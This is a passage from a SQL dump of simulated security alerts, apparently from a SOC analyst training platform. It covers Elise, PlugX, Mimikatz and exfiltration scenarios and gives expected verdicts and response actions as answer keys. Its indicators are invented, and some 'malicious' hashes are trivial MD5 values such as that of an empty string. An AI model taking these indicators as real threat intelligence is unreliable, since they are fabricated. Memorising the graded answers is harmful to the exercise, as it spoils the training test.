server associated with APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a well-known variant of the Elise backdoor.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"unknown@trustedgov.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Email domain appears legitimate but sender is not recognized.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_report.pdf.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable disguised as a PDF, installs backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Spear Phishing Email Detected\",\"date\":\"2026-02-08T19:00:02.428Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1165, 'Elise Backdoor Activation', 'high', 'Endpoint Detection and Response (EDR) Logs', 'Upon opening the malicious attachment, the Elise backdoor is activated, establishing a covert communication channel with Lotus Blossom\'s command and control servers. This step allows the attackers to execute further malicious actions within the compromised system.', 'Execution', 'T1059.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_id\":\"123456\",\"event_type\":\"process_creation\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.45\",\"process_name\":\"elise.exe\",\"process_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\elise.exe\",\"parent_process\":\"explorer.exe\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\elise.exe\"}', '2026-02-07 21:21:11', '2026-02-23 17:40:54', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Lotus Blossom.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Elise backdoor.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"elise.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Threat Database\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used by Elise backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1166, 'Persistence Mechanism Identified', 'high', 'System Registry Analysis', 'The attackers deploy persistence mechanisms by modifying registry entries, ensuring the Elise backdoor remains active even after system reboots. This step highlights the group\'s tactics in maintaining a foothold within the network.', 'Persistence', 'T1547.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:33:21Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.102\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value\":\"EliseBackdoor\",\"registry_data\":\"\\\"C:\\\\Program Files\\\\Elise\\\\elise.exe\\\"\",\"hash\":\"1d0f20f1c4c3e5b673d7a9a8b9c9e7f3\",\"username\":\"compromised_user\"}', '2026-02-07 21:21:11', '2026-02-23 17:42:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"1d0f20f1c4c3e5b673d7a9a8b9c9e7f3\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Elise backdoor variant.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account involved in suspicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:21Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value\\\":\\\"EliseBackdoor\\\",\\\"registry_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Elise\\\\\\\\elise.exe\\\\\\\"\\\",\\\"hash\\\":\\\"1d0f20f1c4c3e5b673d7a9a8b9c9e7f3\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:21Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value\\\":\\\"EliseBackdoor\\\",\\\"registry_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Elise\\\\\\\\elise.exe\\\\\\\"\\\",\\\"hash\\\":\\\"1d0f20f1c4c3e5b673d7a9a8b9c9e7f3\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:21Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value\\\":\\\"EliseBackdoor\\\",\\\"registry_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Elise\\\\\\\\elise.exe\\\\\\\"\\\",\\\"hash\\\":\\\"1d0f20f1c4c3e5b673d7a9a8b9c9e7f3\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:21Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value\\\":\\\"EliseBackdoor\\\",\\\"registry_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Elise\\\\\\\\elise.exe\\\\\\\"\\\",\\\"hash\\\":\\\"1d0f20f1c4c3e5b673d7a9a8b9c9e7f3\\\",\\\"username\\\":\\\"compromised_user\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.434Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:33:21Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.102\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value\\\":\\\"EliseBackdoor\\\",\\\"registry_data\\\":\\\"\\\\\\\"C:\\\\\\\\Program Files\\\\\\\\Elise\\\\\\\\elise.exe\\\\\\\"\\\",\\\"hash\\\":\\\"1d0f20f1c4c3e5b673d7a9a8b9c9e7f3\\\",\\\"username\\\":\\\"compromised_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1167, 'Credential Dumping Activity Detected', 'high', 'Network Traffic Analysis', 'Anomalous network traffic indicative of credential dumping was detected. An unauthorized user is attempting to extract authentication details, likely to facilitate lateral movement within the network.', 'Lateral Movement', 'T1003 Credential Dumping', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:30:00Z\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"10.0.0.21\",\"external_attacker_ip\":\"203.0.113.45\",\"user\":\"compromised_user\",\"action\":\"credential_dump\",\"tool\":\"mimikatz.exe\",\"hash\":\"f2c7e4c8b6a1f4a2b4d6e5a1c3d8f9b0\",\"filename\":\"lsass_dump.dmp\",\"event_description\":\"Credential Dumping detected from 192.168.1.15 using Mimikatz targeting 10.0.0.21.\"}', '2026-02-07 21:21:11', '2026-02-23 17:43:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in credential dumping.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.21\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network_scan\",\"verdict\":\"internal\",\"details\":\"Targeted internal IP address for credential dumping.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with APT activities.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f2c7e4c8b6a1f4a2b4d6e5a1c3d8f9b0\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"MD5 hash of Mimikatz executable used in credential dumping.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"lsass_dump.dmp\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Dump file created by Mimikatz tool.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"user_activity_monitoring\",\"verdict\":\"suspicious\",\"details\":\"User account suspected of being compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1168, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) Systems', 'The final stage of the operation involves the exfiltration of sensitive documents related to government and military operations. The attackers use encrypted channels to transfer data, concluding their espionage mission. This alert emphasizes the need for robust data protection measures.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-08T14:32:45Z\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"method\":\"POST\",\"url\":\"https://maliciousdomain.com/upload\",\"username\":\"jdoe\",\"file_exfiltrated\":\"confidential_docs.zip\",\"file_hash\":\"a6b5c18e2d3f4bcd5678efa1b23c4567\",\"session_id\":\"abc123xyz\",\"alert_id\":\"dlp-2023-001\",\"action\":\"blocked\",\"internal\":false}', '2026-02-07 21:21:11', '2026-02-23 17:44:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://maliciousdomain.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"URL used for uploading exfiltrated data.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_docs.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"suspicious\",\"details\":\"Potentially sensitive file involved in exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"a6b5c18e2d3f4bcd5678efa1b23c4567\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"malicious\",\"details\":\"Hash of exfiltrated file associated with known data breaches.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-08T14:32:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"confidential_docs.zip\\\",\\\"file_hash\\\":\\\"a6b5c18e2d3f4bcd5678efa1b23c4567\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"alert_id\\\":\\\"dlp-2023-001\\\",\\\"action\\\":\\\"blocked\\\",\\\"internal\\\":false}\"},{\"timestamp\":\"2026-02-08T18:59:02.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-08T14:32:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"confidential_docs.zip\\\",\\\"file_hash\\\":\\\"a6b5c18e2d3f4bcd5678efa1b23c4567\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"alert_id\\\":\\\"dlp-2023-001\\\",\\\"action\\\":\\\"blocked\\\",\\\"internal\\\":false}\"},{\"timestamp\":\"2026-02-08T18:58:02.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-08T14:32:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"confidential_docs.zip\\\",\\\"file_hash\\\":\\\"a6b5c18e2d3f4bcd5678efa1b23c4567\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"alert_id\\\":\\\"dlp-2023-001\\\",\\\"action\\\":\\\"blocked\\\",\\\"internal\\\":false}\"},{\"timestamp\":\"2026-02-08T18:57:02.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-08T14:32:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"confidential_docs.zip\\\",\\\"file_hash\\\":\\\"a6b5c18e2d3f4bcd5678efa1b23c4567\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"alert_id\\\":\\\"dlp-2023-001\\\",\\\"action\\\":\\\"blocked\\\",\\\"internal\\\":false}\"},{\"timestamp\":\"2026-02-08T18:56:02.437Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-08T14:32:45Z\\\",\\\"source_ip\\\":\\\"192.168.1.102\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"https://maliciousdomain.com/upload\\\",\\\"username\\\":\\\"jdoe\\\",\\\"file_exfiltrated\\\":\\\"confidential_docs.zip\\\",\\\"file_hash\\\":\\\"a6b5c18e2d3f4bcd5678efa1b23c4567\\\",\\\"session_id\\\":\\\"abc123xyz\\\",\\\"alert_id\\\":\\\"dlp-2023-001\\\",\\\"action\\\":\\\"blocked\\\",\\\"internal\\\":false}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1169, 'Initial Access via COVID-19 Phishing Email', 'medium', 'Email Gateway Logs', 'A phishing email with a COVID-19 themed subject was detected. The email contained a malicious attachment intended to deceive the recipient into opening it, thereby gaining initial access to the network. This tactic is commonly associated with the Mustang Panda APT group.', 'Phishing Attack', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.25\",\"sender_email\":\"covid-alerts@healthupdate.org\",\"recipient_email\":\"j.doe@company.com\",\"subject\":\"Urgent: COVID-19 Workplace Safety Guidelines\",\"attachment\":{\"filename\":\"COVID-19_Guidelines.docx\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\"},\"user\":\"jdoe\",\"email_gateway\":\"smtp.company.com\"}', '2026-02-07 21:21:20', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Mustang Panda malware.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"covid-alerts@healthupdate.org\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Domain recently registered with no legitimate history.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"COVID-19_Guidelines.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"File contains macros that execute PowerShell scripts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via COVID-19 Phishing Email\",\"date\":\"2026-02-08T19:00:02.439Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1170, 'Execution of PlugX Malware', 'high', 'Endpoint Detection and Response (EDR) System', 'The PlugX malware was executed on the victim\'s machine following the opening of a malicious attachment. The malware is designed to evade detection and establish a foothold in the system.', 'Malware Execution', 'T1059.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:11Z\",\"event_id\":\"EDR-20231015-00345\",\"machine_name\":\"victim-pc\",\"user\":\"jdoe\",\"file_executed\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\plugx_launcher.exe\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"source_ip\":\"192.168.1.105\",\"attacker_ip\":\"203.0.113.45\",\"process_id\":4567,\"command_line\":\"\\\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\plugx_launcher.exe\\\" --silent\",\"parent_process\":\"explorer.exe\"}', '2026-02-07 21:21:20', '2026-02-23 11:38:11', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with PlugX malware\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known C2 server for PlugX\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Records\",\"verdict\":\"internal\",\"details\":\"Employee of the organization\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1171, 'Establishing Persistence and Data Exfiltration', 'high', 'Network Traffic Analysis', 'With PlugX now active, Mustang Panda attempts to establish persistence on the network and initiate data exfiltration. The network traffic from IP 192.168.1.102 to 203.0.113.25 indicates unauthorized data exfiltration attempts. The presence of the PlugX malware with hash \'e99a18c428cb38d5f260853678922e03\' confirms the persistence mechanism.', 'Persistence and Exfiltration', 'TA0003, TA0010', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T12:45:00Z\",\"src_ip\":\"192.168.1.102\",\"dst_ip\":\"203.0.113.25\",\"protocol\":\"TCP\",\"src_port\":443,\"dst_port\":80,\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_name\":\"plugx_loader.exe\",\"user\":\"jdoe\",\"event\":\"Data Exfiltration Detected\",\"details\":\"Data transfer of 50MB to external IP 203.0.113.25 using encrypted channel.\"}', '2026-02-07 21:21:20', '2026-02-23 17:38:54', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malicious IP Database\",\"verdict\":\"malicious\",\"details\":\"Known command and control server used by Mustang 